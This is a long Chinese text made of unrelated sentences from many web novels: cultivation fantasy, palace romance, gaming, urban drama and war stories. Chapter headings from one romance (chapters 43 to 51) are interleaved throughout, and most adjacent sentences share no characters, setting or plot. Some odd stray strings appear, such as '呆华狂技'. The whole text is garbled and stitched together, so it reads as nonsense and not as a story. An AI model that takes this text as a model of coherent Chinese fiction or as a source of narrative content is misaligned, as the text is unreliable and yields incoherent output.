哪怕是太古种类的神灵,不需要信仰的,这样玩也会把自己玩死。 沿路之上,居然没有任何人阻拦她,李云牧看到这一幕现像,心中顿时确认了这傻妞还真不简单,她在这个神元界确实有着独特的地位,就像李云牧从霍尔族人中所看到的夜一样。 洛清寒坐在轮椅上,微微打了个呵欠,那双满是算计的腹黑眸子看着那三人离去。 “你会了,我也会了。”路凌淡淡地说着,看着安若的时候,带出了那一份由内而外的镇定的感觉。 今天早晨,柏幽月在会长的办公室再次见到了传说中沉奈熙、沉奈默、东方子言、张泽晨、凌邵臣、凌绍君、夕灵还有忧郁王子展天硕时,她觉的像做梦一般,第一次这么完整的见到校园的风云人物。 若是做了半天工作,还是无法击败韩国,无法拿到奥运冠军,工作不是白做了? 还是告诉他的好,至于黑岩要怎么做是他自己的事,是放弃魔教和心爱的人归隐,白头到老,还是等着二十年后爆体而亡。 第一卷 第43章 怀上二胎 “你是谁?”一个刚从石室里走去的虎妖看到宁馨大声问道,不过回答他的是一道凌厉又致命的青光。 厨师也是个脸皮厚的,犹豫不到一秒钟就立马果断的说要学,连嘉一都没有反应过来。 阮萌的脑海里已经空空一片,像是电影最后的谢幕,黑底,白字,字幕一排排慢慢滑过。 白慕雅心里想,应该好久好久了吧?久到她都不记得了。老公上一次说爱她的时候,是什么时候。 君无疾顿时觉得口干舌燥,一股热气从体内奔腾而出,涌上他的鼻息,旋即似有火热的液体,从他高挺的鼻子里流了出来。 只是,她不知的是,楚相思美,又是何等的举世无双,让人痴迷。 云炽朝它们招了招手,说:“阿梨不在这里了,但是你们要好好地帮她守着这个地方,等着她回来,知道了吗?”她总是觉得阿梨还会再回来的。 过了一会,过了好一会,就在阮萌都怀疑他要拒绝的时候,李白终于启唇。 君无疾和楚相思,同一时间,将目光,从君祁言的身上,看向那刚才咳嗽的人。 也许是见我面露疲色,沁雪也就没有多问,应了一声,便又幻化成了那头白花花,毛茸茸的冥雪兽了。 谷星月对着老七点了点头,又跟历苍穹说了一声,便离开了房间。 “碧绿!”安语婧说着,末了,只觉得自己的声音异常沙哑,嗓子口还隐隐作疼。 第二天,褚昊轩照常上班,单位里风平浪静的,社会的舆论虽然还没有平息,但是也没有预想的那么热闹,渐渐地已经冷淡了不少,褚昊轩的坦然让流言蜚语不攻自破。 心里却特别的不开心,想着昨天晚上柳诗雅挂在褚昊轩的胳膊上那亲密的样子,她就不由得生气。呆华狂技。 但是他很清楚相柳想做什么,他要打破九天封印,就像当初他挑拨是非,让共工和祝融大战一样。他的目的从始至终都是打破封印,释放魔族。 若棠也听说过,太子身子骨不好,与太子妃成亲三年有余却至今无所出,皇帝对太子也是不冷不热的,这才导致了其他王爷们的野心膨胀。 也怕碰到那天那个司机,那件事在她心里阴影挺大的,深受刺激。 若棠想抱抱他,想跟他说没事都过去了。 可是看着楚千岚那又变回若无其事的脸,仿佛强大的根本不需要任何安慰一般的模样。还对她甚是温柔的笑了笑,若棠也扯着嘴角对他笑,心里却莫名觉得酸涩得很。 秦世锦竟然也没有察觉他的靠近,还是认真的低头瞧着手中的东西。 原打算就这样离开,夏尧哪里肯放手,单手抱住她的后脑勺,就是一阵深深的热吻,看在一旁的西流景眼底,甚是刺眼的很。 “哈哈哈,沈无罪,你是什么东西,我斩你一臂,有何不敢?”叶宇猛地出声,目光带着一份嘲弄,看着远处失去一臂后满脸痛苦的沈无罪。 王灵韵内心:如今,就算要问他要,也不能太暴力。暴力是不能解决一切问题的。暴力是不能解决一切问题的。暴力是不能解决一切问题的。 伴随着红线断开,宫明身上的最后一丝灵魂之力,也消散在了人世间。 窗外天还没亮,枝头的鸟儿已经起来觅食了。她醒的很早,醒来的第一反应是赶紧抽出手来,看看手腕上有没有伤口。发现手腕的皮肤虽然粗糙,但至少皮肉都是完好无损的,寒来才松了口气,安下心来。 滔天巨浪升起,在宁天林震惊的目光中,一道巨大巍峨的身影,从血色汪洋中缓缓升起。 也就是说,桃桑其实早就可以把她从冰封之术里弄出来,但他没有? “姑娘就这么吃完了这桌饭菜,不怕饭菜里头有毒吗?”少年玩笑道。 汤俊端坐在木椅之上,脸上神色不时地挣扎着,似是心中在做着什么剧烈的斗争。 身在东煌域的青玥,此时还并未得知此事。当她回到北冥域时,此事已成定局。 因此即便不满意,可是身为选拔赛主事人的天龙行者却也难以说什么,他知道,在四大家族面前自己的话根本就不好使,但他还是转头看了雅灵一眼,要说他们这些人中谁能有资格不给四大家族面子的话,就非雅灵莫属了。 叶空吓了一跳,前方的人影正是自家妹妹,但出人意料的是,今天的叶白不再顶着黑眼圈,相反,她的精神气质很好。 火蜥一下把身子团起来,眼中的火焰一闪而出,整个的化作一团火球后凭空消失在原处,只留下一枚令牌。 后面的那个天赋,就更容易理解了,每升一级就获得5点属性,比未觉醒的传说职业更胜一筹,长此以往,从一转到二转的30级间隔,让叶空能建立一个属性上的巨大优势。 开阳王阿育奇正值壮年,他与他的第二位妻子夜族宠姬黎茉尔两情相悦。按照舟人的习俗,他不会如此早就迎娶第三位妻子,除非他已经预感到自己时日无多。 而大唐君臣自然不知道他们一心防备的人此时已经离开了长安,还在商量着下一次试探的事情。 融力极速流淌,在身体内部四处乱窜,不停的冲击着体内各个经脉,使得全身都变得灼热起来,同时也散发出一股热腾之气,脸部以及全身都胀红。 冥月好奇地看着公告面板,或者说,整个界域的玩家们,都在打开公告面板,看着上面的信息而怔怔发愣着。 声音响起的时候他就已经知道是谁来了,不过她是故意的吗?怎么一点动静都没有,呃,难道是自己太投入所以没注意? 本来打算对杨浩的敲打点到为止,可是看到少年过分安静的态度,杨广终于忍不住略带严厉说道。 第一卷 第44章 可以吻你吗 这声音,分明是沈雅菁。 贺淮钦在听到沈雅菁的呼唤后,就对温昭宁说:“我现在有点事,等我处理完手头上的事情,再来找你。” 他说完,就挂了电话。 广元城位于越国西南部,城市不大,也只有数十万人口,此地三面环山、一面靠湖,环境优美,倒是那些富贵人家休闲时的好去处,再加上此地生有几种罕见的水果特产,别处都无法见到,因此这广元城也颇有些名气。 “你们应该放弃重重损坏地球的武器研究。月影国拥有的大规模杀伤性武器是捆绑在地球上的炸药桶。”格鲁特慌张地说道。 这样想着,许溪走进了新班级,还没有分座位,就随便坐了一个靠窗的位子,望向窗外。班级很喧闹,新同学都很活跃。 “置死地而后生。”北冰洋一咬牙听从乔纳森的建议,调头向着来时的路折回。 那名战士脸上惶恐,痛苦,人或许会不惧怕突如其来的死亡,但是这种来自内心对于死亡的恐惧,在日本兵缓慢的动作中会被无限放大,意志力不坚定的人,或许就会被直接给吓瘫掉。 汪楚楚吞了吞口水,对他这种单纯到,可以简称为蠢猪的想法表示无语。 “去那边取点甜品吃吧。”随即带着姐妹,向长桌旁的两人走去。 月影国并不鸟他,突然抛出了逆转物质换资源协议,声称月球盛产逆转物质,月影国对出口逆转物质进行了处理,只能用做动力能源输出,是一种新型无污染能源。 林洛的一句话,让梁北和阿玉对自己的人生都有了一丝丝的怀疑。 沉默中,所有人都知道,要么他们全部离开,要死的话,那就要全死在这里,死尽死绝,不然的话,索加根本无法安心在这里经营建设,切不说别人,索加的妈妈还在圣光颐养天年呢,万一遭到刺客袭击,那可怎么得了? “贤妻说的也是,但眼下的事情最为要紧,至于打艺学工那是以后的事,只是这两样东西该如何处置才好?”张发存六神无主,直着眼睛问妻子。 宋莉娜本来就有些局促不安,当她看到曲志恒看向自己的那充满笑意的目光的时候,立刻把头垂的更低了。像极了一个做错事的孩子。 虽然语儿只是这样非常轻微地喃喃自语着”不过明牡丹所立的位置,就在语儿的旁边,因此马上就注意到了她困惑的反应。 “潜龙在卧!”陈罗斌吼了一句,两腿蹲立,背腹弯曲,十指并成一排扣成爪状。远处风声渐起,陈罗斌却没有动,他静静的蹲立在原地,感受着最佳的发拳时机。 而且,索加作为一个水系法师,其实是饿不死的,虽然是在海上,但是淡水很容易得,随便一个控水术,就可以凭空制造淡水,至于食物,海里的鱼类尽可以让索加吃饱。 “你准备好了?”赵鑫并没有因为对手赤手空拳的架势而产生轻视,四师弟的软剑和五师弟的无影剑不也是这样看不出来头,却总那么让人头疼吗? 以索加的冰球术而言,温度越低,冰球术就越坚固,携带的寒气就越多,要知道,冰球可不是靠砸敌人而造成伤害的,事实上,冰球术是依靠冰球内携带的寒气来杀商敌人的。 第一卷 第45章 一次就好 温昭宁自然也早已经身随心动。 只是,女儿青柠还在楼上睡觉,如果她早上醒来没看到妈妈,肯定会不开心。 温昭宁不希望女儿新年的第一天就不开心。 “我不能离开太久。”她委婉地说。 人在屋檐下,不得不低头。这气受得!烟香忍。她察言观色,眼下李愁容情绪不太稳定。算了,等李愁容心情平静点再说吧。 眼角泛红,脚趾抑制不住地蜷缩,沈木白抓着身下的被褥,拼命抑制住喉咙里发出的细碎嗓音。 难道这种时候不应该挥着拳头打自己一顿或者是指着自己的鼻子痛骂一顿吗?这么笑嘻嘻的一副善解人意的模样到底是怎么回事? 堂上的段子生与云白,还有几名衙役,皆是一副心服口服的表情。以复杂的目光看着烟香。这下,大家都知道了。原来,烟香当真是忠勇王的妹妹。就在昨晚,他们还是半信半疑的。 唐菲菲别过脸,事实上,也许连她自己都知道,和狄轩光明正大在一起的可能性不大。 原本以为陌南笙会让人叫她过去一起听结果,但千叶没想到竟然是陌南笙先听了之后才叫池清过来告诉她。 楚天阔眉头紧锁,背靠在马车后座,路上的颠簸让他伤口疼痛不已,额上冒出了点点细汗。 这时,戒律堂里屋里传来了动静,众人望去,一个衣衫褴褛、浑身漆黑、长卷起蓬松凌乱,身上还带着血腥味儿的身影艰难的挪了出来。 关兴大喜,连忙与众将一起,引李当之入帐前往拜见关羽。这时关羽因为手臂疼痛,无法处理政事,没事可干,便与马良对弈。听说大夫到了,立即召见。 你还是要去西方一趟,至少灵山灵脉要修补好,要不却是不好。说完就没有声音了。 高霁萍抬眼看去,却是六处几名A级外勤人员,刚刚吃完饭回来,准备回天山公寓区。 一股狂喜冲了上来,比她曾经在地球突破了一个个科学技术难题时的喜悦强烈百倍。这种原本只存在神话中的手段,竟然在自己的手中被复制立刻出来。 “三年之前白阳铉曾经企图打破这个神话,但是他失败了。”柳云修的眼神有一个向后看的动作,说道。 他本来还给自己家留了个准备吃过晚饭杀着吃,结果又被找上门的游客抱走。用人家的话说:你一个种西瓜的缺西瓜吃,说出去谁信,少吃一顿也没有什么。 “有什么事情?”叶无道的笑容足够完美,即便是一道笑纹都能够让外人看到他脸上洋溢的轻松和写意,还有难以掩饰的轻佻,只是只有琉璃才能看到他眼中的冷漠。 杨国华想不到这套公寓是公司送给索依依,这也难怪,他一向不过问公司的事务,除非公司遇到困境或者公司内部出现大问题,他一般懒得去管理。 而这时的爱欧再也坐不住了,作为护身手段之一的金色光罩一生成就被那淡金光柱消融了,上面所附带的神力瞬间便被抽取一空。 十一月份的锦平,依然阳光明媚,只是上班的人们都能从带有几分冷意的北风中感受到秋天的气息。 能直接找到坤德宫去给儿子讨差使,在隆武朝简直就是奇迹了,虽然不是朝政,但权老夫人有这个胆子,还是叫李静宜有些难以置信。 第一卷 第46章 揽腰抱住 周文慧一句“大小姐”,瞬间把温昭宁的记忆拉回了读书的时候。 她记得,周文慧刚来温家做保姆的时候,她才上初中。 毫无掩藏的一招,又让柳弯亭受创之身加剧,嘴角淌出鲜血。连退数步,回首,竟又是一位天府打扮的人。 在离山脚的长阶远一点儿的地方,一个身着黑衣,长发高束,带着纱帽,男子打扮的姑娘坐在大石之上,她一边吃着昨夜打包的烧饼,一边打量着山脚下聚集的人。 希望之火,在此刻,陡然间腾升而起,因为她已经有了上次的经验。 这一霎间,颜洪心头大笑了起来,嘴角掀起了一道极为得意的弧度。他相信,唐烧香这回必死无疑。 郑闻应声离去,步千怀心中却仍有疑惑未曾消解,到底是什么条件?让任素闭口不谈?同时,整个剑界也陷入了纷疑之中,剑界灵朝不共戴天,虽然为了剑宗弟子谈条件大家都认可,但是你任素却不说,总是让人疑心。 这次的价格城主只要了两成,当然宰相的好处也算在了城主头上,这一下把老九可乐坏了,三座城他几乎把空置的所有有价值的商业楼和别院府邸都买了。 就在明达法王说出这一番话的同一时刻,远处的卫飞忽然心生感应,在遥远处也是扭头看来。 “此去成都府岂是一日可达?你若是救人着急,我还是劝你走陆路。”船家说道。 而在联赛的首轮客场挑战佛罗伦萨,他们也仅仅跟对手只有一球的差距,要知道论现在的纸面实力,佛罗伦萨无疑是要比乌迪内斯强的。 “云真既然说是我的好朋友,却如何一直见外的喊我江姑娘?”江心月迟疑的说道。 由于是年中,大家都不忙,连何朝琼也回来了,除了苏菲——一年一度的时尚卫视超模大赛即将开赛。今年她将地点选择在李辰位于西德不莱梅的费德勒城堡。 刚刚经历了台岛公视的争夺,李辰估计自己在内陆政府名单上要被画红圈,没想到他们竟然也来了。而美林证券则是华尔街四大投资巨头之一,自己从未和他们打过交道。而台岛长老会,更是很神秘的一个宗教组织。 台岛在去年十一月份举行KMT党代会,重新选举党主席。蒋晓勇过关斩将,最终在党内八老以及宋老夫人的支持下,拿到了KMT主席一职。 “确实不容易。”李辰附和了一句,同时做了个手势,让正在靠近的吕俊青不用过来。 “嗨!爱丽丝,你认为我是罪魁祸首?”男人举起另一只手臂,隔着被子在她臀部拍了一记。 “可是,老板……”特战队长刚想抢白,看到查理坚毅的脸,便老实的带人退出了密室。 烟雨便看到之前带了她出春华楼那位李公子,被反剪了双手,绑在桌角上。 翔夜咬起左手背上的假声带,像吃口香糖一般的舔进了嘴里,嚼了几口,回想着May的声音,突然开口了。 而此时赵子弦却想起来,自己好象从早上到现在就吃了一个包子吧?为什么不饿呢? 不过,就在昨天,民主共进会与社会党谈判取得进展,在米歇尔放出八个部长席位后,莫鲁瓦答应回去与密特朗商议。 第一卷 第47章 我是他的未婚妻 六大势力的约定或许能束缚谷琦剑,可对于那个魔头,完全是不存在的。 胡青笑了笑,牵着瑟琳娜走出了餐厅,既然鱼上钩了,那自然是要找个宰杀的地方,在这广场并不合适。 “天堂岛的赌场马上就要修好了,我现在的计划是,把那边作为皇冠赌场的贵宾区。 容风是习武之人,周旻这个瘦弱身体连武术都没学习过,更别提其它了。 虽然知道是‘仲间’操控着手机发出的信息,五十岚正义还是被吓了一跳。 “什么?”山姆疑惑,还看了看四周,却有些懵,他没发现有什么不对。 即便是这样,顾言的黑客技术还是很厉害,哪怕是原主坐在顾言面前,也做不到黑进G国的国保系统。 男孩有些不好意思的低了低头,但是他的眼睛却格外的亮,看得出这是他内心深处一直期待并且奋斗努力的梦想。 这座行宫建在皇宫之外,靖南王及南地来的一众人都暂时住在行宫之中。 入目是一个大院,边上有一棵柿子树,而就在柿子树下,有一个泥巴堆成的围栏。 黑火炽热无比,就像是能够燃尽世间一切的无上烈焰一般,它是火中帝王一样的存在,急冲冲地就是冲入了周围的藤条包围圈内。 “老人家,你别危言耸听好不好,说的我都有些害怕了。”赵猛说道。 褚贞燕愣住了几秒钟。她总是咬紧牙关。她不知道该对刘亚欣些什么。刘亚欣听了张老师的劝告,叫了家长。 “陛下,户部今岁的税入已经统计出来了。”孟常平手里拿着账簿,脸上没有喜色,反而有些忧愁。 “于少,我本人是相信你的,不过叶少既然举报了,我肯定要查查,还请于少谅解。”刘正打着官腔。 “你们是在给我挠痒痒吗?”狴狸笑道,那些箭射在它身上,如同射在钢板上一样,纷纷落了下来。 陆掌柜虽然对禄哥儿不好,可禄哥儿突然没了一个亲人,还是听话的进屋去给陆掌柜收殓尸身。 一个生态圈里面的对应关系就是如此,苏阳本来是打算利用生态圈里面的物种天敌的方法来对付妖树族的,但是一想自己这些人和狼族好像是结仇了,这个方法显然是行不通的。 “你做梦!苏富聪看着自己的手臂,拼命摇头,他不可能交出来的。 三省派出了七支队伍奔赴七个属国,大夏将在这七个属国建立使馆,推动大夏与七国的商贸往来。 刘东看到了停在山上的一辆直升飞机,直接将赵蔷薇拉上飞机,秃鹫原本是想要跟上去的,但他不想要去当电灯泡,所以他上了另外的一架直升飞机。 刚走到门口,就听到“噌”的一声,像是重弓射出去的动静,隔着走廊的墙角,也确实看到箭靶上钉上了一支箭,力道极大。 距离遭雷劈那日已经过去了两个多月,手绑着手,穿衣坐卧都不方便,我将自己收拾得还算清爽,李叹已越发像个乞丐,这两个月里我没帮他洗过一回澡,是该皮痒了。 陆珊刚坐下,就看到梁飞狡黠的表情,想也知道他爸说了些什么。反正他们的恋情又不是见不得人,干脆晃着腿回敬他一个眼神。 南妖妖还是低着头,李叹还是那般躺着,仿佛听戏一般,懒得睁眼。 食物绝对不能让别人破坏,明菲打头几人尾随进入通往开心农场的隧道。 前世她一直没想明白,如今想来也只能是破坏她的笄礼才会惹得慈祥宽容的爷爷震怒。 “娘娘早先叫奴婢去查崔氏之死,可是为了这个缘故?”安夏欠了欠身问。 他说道:“呵呵。走了,不许说话不算数,不然我打你。”他说着拍拍我的屁股,上了车走人了。 既然对方已经知道了自己,但是在这个介绍的时候,到底还是需要说一下的。 转眼间,那悬浮于岩浆表面的封天大阵已是开始不断颤抖起来,而周身的华光更是不断的绽放。 内容:诺伊尔今天发来了私信,向我抱怨古代赫尔卡星语是如何如何的难学。我回复他说我觉得还行,但愿他别来向我请教问题。不管怎么样,总归是有一个垫背的了。 既然已经答应了林晨会做一些让林晨放心的事情。那就不会做出这种事情来了。 一直以来,这个法阵也是她的骄傲,没想到现在却被一个陌生的娃娃说的一无是处。 不过想到凭借秦天今日的表现,恐怕已经入了大统领的法眼,他们是没有机会再刁难于他。 这,难道是每人个在爱情面前都会变成这样子,变得不自信了吗? 听罢,林毅心中大惊,若这嘶风兽真的是在召唤周围的兽类,那自己岂不是要落得个被围攻的下场? “如果我的投资部经理不离职的话,我还真能抽出三天时间陪哲东去美国的。”向雪闷闷不乐地喝着汪涵宇特意为她泡的薰衣草花茶。 只见的一名稍显消瘦,但却是身穿白衫的弟子走了出来,步履轻盈,看着此人,林毅却是微微一皱眉,显然这弟子实力不弱,但此时想要加入北斗门的心思还是让的林毅心中极为高兴。 不过他也算是明白李沐风的意思了,也就没有再和李沐风纠缠下去了。 而她的这个走过路过不错过的打野方式,也是让不少人都瞪大了眼球。 第一卷 第48章 嫁给他 和当初伊莎贝拉一样,皱巴巴的皮肤,头上,脸上还粘着一些液体。 “好吧,看来是我想多了,那还等什么?咱们赶紧走吧,每拖一天,我的亲人朋友就多一分危险!”蓝天点了点头,急忙命令凤天翎抓紧时间,赶紧离开。 果然,众人的第一反应和二皇子一样,全都是不相信,一点也不相信。 徐青把礼物送给父母,这次回华夏,徐青收到了几卡车的礼物,天鹰号装不下。 看着那二十七位尸府大乘期的长老在他们的攻击下,拼命逃遁,再无往日威严的模样,这些人更加兴奋起来。 皇甫旭的表现还算镇定,弯腰抱拳行了一礼,眼前之人已经是人皇在控制,一举一动都代表了人皇,该有的礼数他可不会少。 红脸大汉的话说完,其余三人以一种看白痴的目光看了他一眼,让他有些莫名其妙,随即自己也意识到什么,脸色苍白,咬牙切齿,一双眼睛更是燃起熊熊怒焰。 他开车来到新街口,把车停在路边,推开车门下了车,迈步向张阿彪家走去。 “进个城,还需要报身份来历吗?”蓝天表面淡然,顾左右而言他。 停止吼叫的第一时间,人马鸟象兽双足一蹬,带动着身子往后仰去。 大培元丹不但能强身健体而且药效温和,老少皆宜,就连黄大师这样的占卜师也是用得上的。 陈默菡的身子一僵,这才发现自己坐在少爷的大腿上,姿势是何等的暧昧。 对于童恩的变化,钟岳着实有些费解。那天发生了什么事,从宇豪嘴里也没问出个所以然,如果是因为那条帆船,钟岳相信童恩不会反应这么激烈。究竟是什么原因呢?钟岳百思不得其解。 就在穆大少想要离去之时,台上的胖老板一阵吆喝,拉住了穆大少的脚步。 “你当真想不出来我是谁?”阿迦忽然又猛地睁开眼,死盯着白雪。 “放心,大丈夫一言九鼎,说了舍命陪君子就绝不食言。让我再享受一下,养养精蓄蓄锐,不然说不定还没到买单,就已经光荣牺牲了。”许卉索性往沙发背上一靠,进入假寐状态。 一名胆子大的士兵用手中的刺刀切开了竹篓,将竹篓内的东西取出来后,所有人的开心的笑了,这段时间鬼知道他们是怎么过来的,炮弹犁过的土地,连老鼠都没有,菜根,树叶成了他们的家常便饭。 有生之年,还能与世子一起观赏并蒂莲,沈闻姜心内再次发出感慨。 “刚才发生了什么?”第三回想着,接着又冒出一股血流,倒了下去。 自来也一下子就踏空到了水里,当他浮起来的时候,鼻子里用两条鲜红的鼻血留了出来,而且留得还越来越多。 第二她也是想借此看看若兰的是如何应对的,她知道若兰日后恐怕不会有安生的日子,但这是一名教主或护法必须要经历的。 前几日据探子回报,和国皇帝已下旨集结三军,屯兵长风岛随时待命。 看到自己的昔日好友能够变得这样的优秀,景翊也替冷如裴感觉到开心,虽然景翊经常会说一些羡慕冷如裴,要不是当年冷如裴顶替了自己的玩笑话,可是打心眼里,景翊是替冷如裴感觉到高兴的。 而夜葬只是冷冷的笑了笑,拿起嗜血刃,向李觉丢了过去,而李觉也不甘示弱御使着天边的异火往夜葬飞去,两股力量的对决,到底谁会是强者? “你又不会拉大提琴,送给你简直就是抱残天物。而且我说的是要送你这世界上最好的东西,而这世界上最好的东西,当然是我的琴声啦。”南谙拿过琴弓,已经准备开拉了。 鹅蛋的脸儿,白皙的肌肤,一双黑黑的大眼睛仿佛能滴出水來,玫瑰红色的唇瓣让人看了想咬上一口。 当下便也点了头,往里挪了挪,空出床外侧的位子,眸子半抬,无声将他望着。那眼神切切,乖巧而清澈。 “回殿下,我只知道刘猛将军是遭人所害,才意外身亡。至于被何人所害,我就不知道了。”说着,林青平将那日告于老秦的内容又重复一遍,不过与前面相似,对于乱平之言,未提及一言。 徐瑶看着店家那笑的贱兮兮的模样就不舒服,这是把公主当成了钱袋子了呀。 就在这时,那大门内,忽然爆出一片白雾,瞬间将来不及反应的两人吞没了。 毕竟这吸血鬼可是以速度见长,即便是楚风使用纵云梯,以现在安德烈的实力,只要他有心要逃,这么远的距离,也是难以追赶。 从三人现在那震惊无比的表情可以看出来,楚霸王抓住他们并没有费什么力气。 通过这些江东军俘虏所言,虽心中还是存疑,关羽还是不可避免的越发相信起来。 第一卷 第49章 没有心的女人 “噗通”一声,膝盖撞击地板的闷响,震惊了温昭宁。 她的身体出于本能,下意识地想要后退一步,避开这突如其来的荒诞大礼,可她还没来得及反应,就听到身后传来贺淮钦暴怒的低吼。 暖阳下,陈烁紧紧地抱住高敏淇,像拥着极世珍宝般,温柔地诉说着衷肠。 苏瑾瑜第一个御剑而去,他相信此刻这个秘境他一定是横着走的存在。 刚才那一瞬间,他们得见了那其中的一角,竟然有一双冷漠的眼睛从那里面看了出来。 第二天一早,刘总领着司参和安保队长,匆匆赶到高敏淇的房间。 可她身上竖着一道叫防备的墙,砌的很高,想要攀越,得沉下心来。 他举目看向天空,那里有一朵云存在,是刚才很突兀的就出现的,还在纳闷为什么会白平无故的出现一朵奇怪的云呢。 说的正兴起呢,做旋转动作落地的林珊珊,竟然有些没站稳,身形歪了歪,这可是最基本的,她竟然都没稳住。 斜眼看了看身后10米外的椰林下,她发现,今天只有林素云来了,刑阴没来。 深夜时分,西南方再次涌现大批人马,看其行军风格应该是目空一切的楚军——他们硬是不管三七二十一在唐军和宋秦联军的空隙中插了进来,好在秦琼等人已经有了一定的适应姓,而王贲则认识这位新到的统军将领:荆轲。 “呃,略胜过练体期八重的修仙者,那很不错,不过,也仅仅是很不错而已。”听得这话,那练体十重的修仙者不由的傲然起来。 说好听点,是来找韩歌一起合作,说难听点,就是来求韩歌帮忙的。 随后韩歌看了下赵倾城社交帐号上的资料,她的生日果然是今天。 这就像你认识一个做房地产的朋友,他手上是有钱,可在房价缩水金融风暴的时候脑袋也大。 “所以一般来此的人,多多少少的都有些体悟,收获,这也是为什么要通过星域之门基本不可能,也每一次九纪元,九个半纪元的人都前来的原因。”周清玄说完之后,陆元才算是明白了,原来如此。 秋尘猛然举剑招架,一个直径近乎一米的拳头同时对着他砸了过来。 杨天问也不知道这大海有多深,这海下又生活着多少星兽。这海底又有多少修行资源,多少灵药。 它惊怒交加,想要吞噬融合石羽的愿落空,胶子波在聚集,突然间,它脸色大变,抬头看向了天空。 她脸上的皱纹没有刻意掩盖,反而让人觉得她的美丽和魅力是浑然天成的。 本以为,帮着季贵妃将林妙弄进宫来,能够壮大贵妃这一党的势力,不让皇后利用洛嘉容占得上风。 有这个身份在,他们父子三人便容易累积人脉,提拔的机会也多一些。 这条命是靠着兄弟们好不容易保下来的,他要带着兄弟们的份一起活下去,不想在不明不白中死去。 瞪着眼睛看着天花板,随后又拿起手机……无聊地开始刷着手机上的娱乐新闻。 白袍大汉闪避不及,胸口被阔刀扫中,可怕的力量加上真劲的杀伤力,直接让他胸前一塌,骨骼破碎,冒出大片的青烟。 不出意外这些都是某個中二病游戏玩家的COS珍藏,他们得到后将这些剑开锋了。 第一卷 第50章 新婚快乐 秃头看了看老胖子,从他的脸上看出了什么。然后丢了自己的牌。 诸事都谈好了,马纳金随着叶重有说有笑的一起返回奉天,到了奉天城门处,再一次向叶重交待俄国俘虏的事后,便分道扬彪了。 沙宣在走神,看到关敏第四套动作顺利进行,并且因为体内拥有龙气,才催生出角质层状的鳞片时,心中还在思考,关敏到底是怎么拥有龙气的,难道她通过基因病毒获取的? “一个奉天省能顶两三个山西? 大帅, 会不会太高估奉天的实力了?”周玳忍不住 道。 如今在这城内,虽然看似平静,不过若是封神王朝的战将队伍前来,剿灭金乌族人,他们就会成为封神王朝口中的叛逆,封神王朝对付叛逆的手段绝对是非常的残酷,这点是毋庸置疑。 在空间戒指里面是过了很多年,但在外界也仅仅是才过去了几个月,所以,张志利在经过“天炎仙城”门口的时候,并没有在办理什么玉牌,直接拿出上一次办理的玉牌进入到了其中。 而这次,徐剑星在攻击的时候,就用上了一些鸿蒙紫气,虽说这不是真正的鸿蒙紫气,可在徐剑星的眼中,那也和真正的鸿蒙紫气相差不到哪里去,如此一来,也就照成了徐剑星对对手的全方位压制。 拽着莱维转身往那边走的时候,辉夜又好似不经意地扫了梦梦一眼。但这回梦梦却没像刚才那样尴尬,反而有些喜出望外地回望,她望着的是辉夜挽着莱维的那只手。 所以,想来想去,堂本野智就抱着一个侥幸的心理。侥幸那个极天门不会找到这里来,要是真的找到了,极天门的行事也非常的狠辣,没得可商量。最多把山门关了就是,他还不信极天门能奈他如何。 缓了缓心情,徐剑星没有多考虑,当即又随意的在一张牌是一点。 崔封一想,对方没有欺骗自己的必要,这么看来,于玉只怕是很早就沉睡在这湖泊里了。至于那条鼻祖级的肠虫,或许是后来才栖息在这湖泊之中的。 两人走进教室,王轩龙又一次面对那三十一道刀子般的目光,缓缓走到座位上稳稳坐下,拿出各科课本开始了一天紧张学习的第一课,早自习。 “死老公!坏老公!占了人家便宜就会说风凉话,我恨死你了,咬死你。”还真的咬了,不知她本来疲软的身体怎么突然就有力,一口就咬在冯奕枫左边的肩膀上。 物价上涨其实是有好处的,因为现在的主要消费还是在农副产品上面,价值涨了,老百姓才能挣到现金,有了钱才能换购其余更丰富的家用,只要这物价涨得合理,那就是高兴的事情。 “秀林何必呢?不就是场比试吗?答应就好了!不然就成为公敌了!”旁边的林绿源不安的劝道,对他来说,秀林的炼丹术也是了得,为什么在这个时候就想不开呢? “这个嘛……,准将先生如果你要买飞机我完全可以答应,可这图纸我无法答应,这图纸不归我们国防军所有”陈宁推脱道。 “生命吹熄~!”董占云把土系、火系力量同化,化为漫天冰雪势要吹灭白衣男子生机之火~!“呼~!”董占云隐约看到这个男子的生命之火缓缓升起,抵抗冰雪的力量。 “真龙元气·力!”只听一声怒吼,一道刺眼的白光闪过,王轩龙已经一拳挥出,带着满满龙力的一拳径直迎上了吴行的一击。 “还以为出来走一走可以放松一下,谁知道却让我更加郁闷。”瓦伦泰喃喃地说。 接连两场的战斗,使得辰逸耳根也清静了不少,并没有谁来找不自在,似乎都有意与他示好,看的辰逸心中冷笑不已,又是实力,一切都是实力作祟,如果那日输的是自己,不但还不来尊重,还会被所有人鄙视。 看到沈无相态度强硬的要对鲁东升进行拘留措施,其它人心里也开始惴惴不安起来。 一次本来该被处罚的失误,到最后变成了可喜可贺的结果,任谁遇到这事也会开心。当然,隆森堡也没忘记要感谢这一仗的功臣,自己的老战友海德开普。 太和山庄的房东从外地飞来,和江寻商讨关于太和山庄出租的事儿。 然而眨眼间的功夫,召唤结束了,齐天寿召唤到了一个让他无论如何也没有想到的人物。 他就不相信在自己母亲成老太婆之前,自己无法站在这个世界的巅峰。 现在封林将世界的四件器身全都挂在自己的身上,就往皇城进发。 唐憎試探性叫了一聲,有點恍惚,老子一介凡人,真的可以有一個敢大鬧天宮的徒弟? 当然剑侠客也不例外,甚至他就是这整件事情的参与者,那么自然在他这里什么极品装备,极品宝宝之类的根本就不重要,重要的是了解这个世界所产生出现那似曾相似的剧情。 虽然被淘汰了,但花花轿子人抬人,一个个评委说的很委婉,都在表示同情陈权的遭遇。 被他这么一说,秦枫心里一怔,随即仔细一看,被灭掉的多是远程攻击手,真正冲进毁灭森林的,是为数不多的近战职业……暗黑阵营的弓箭手……他们的冰之箭,应该是为了迎接这些冲进来的傻冒吧? 如果不是自己亲身经历的这些血腥屠杀,姜无为难以想象在这优美宁静的画卷之下隐藏着那么多黑暗和暴力,他忍不住感慨世间的多变和人生的曲折。 “哈哈……罗伯特,你就不要对牛弹琴了,讲得再多也瞎子点灯白费蜡。”杨岩在一边幸灾乐祸地说。 闭上眼睛稍稍恢复后,李风就打算继续挑战,不过就在这时,一只手搭在了李风的肩膀上。 第一卷 第51章 捉奸 “娘,我现在没事儿了,我觉得不之前身子还好呢。”程菡在外面说道。 在江念醒来的时候,靳修竹已经抵达了九斋,还买了早饭过来给江念,都是一些比较精致的糕点。 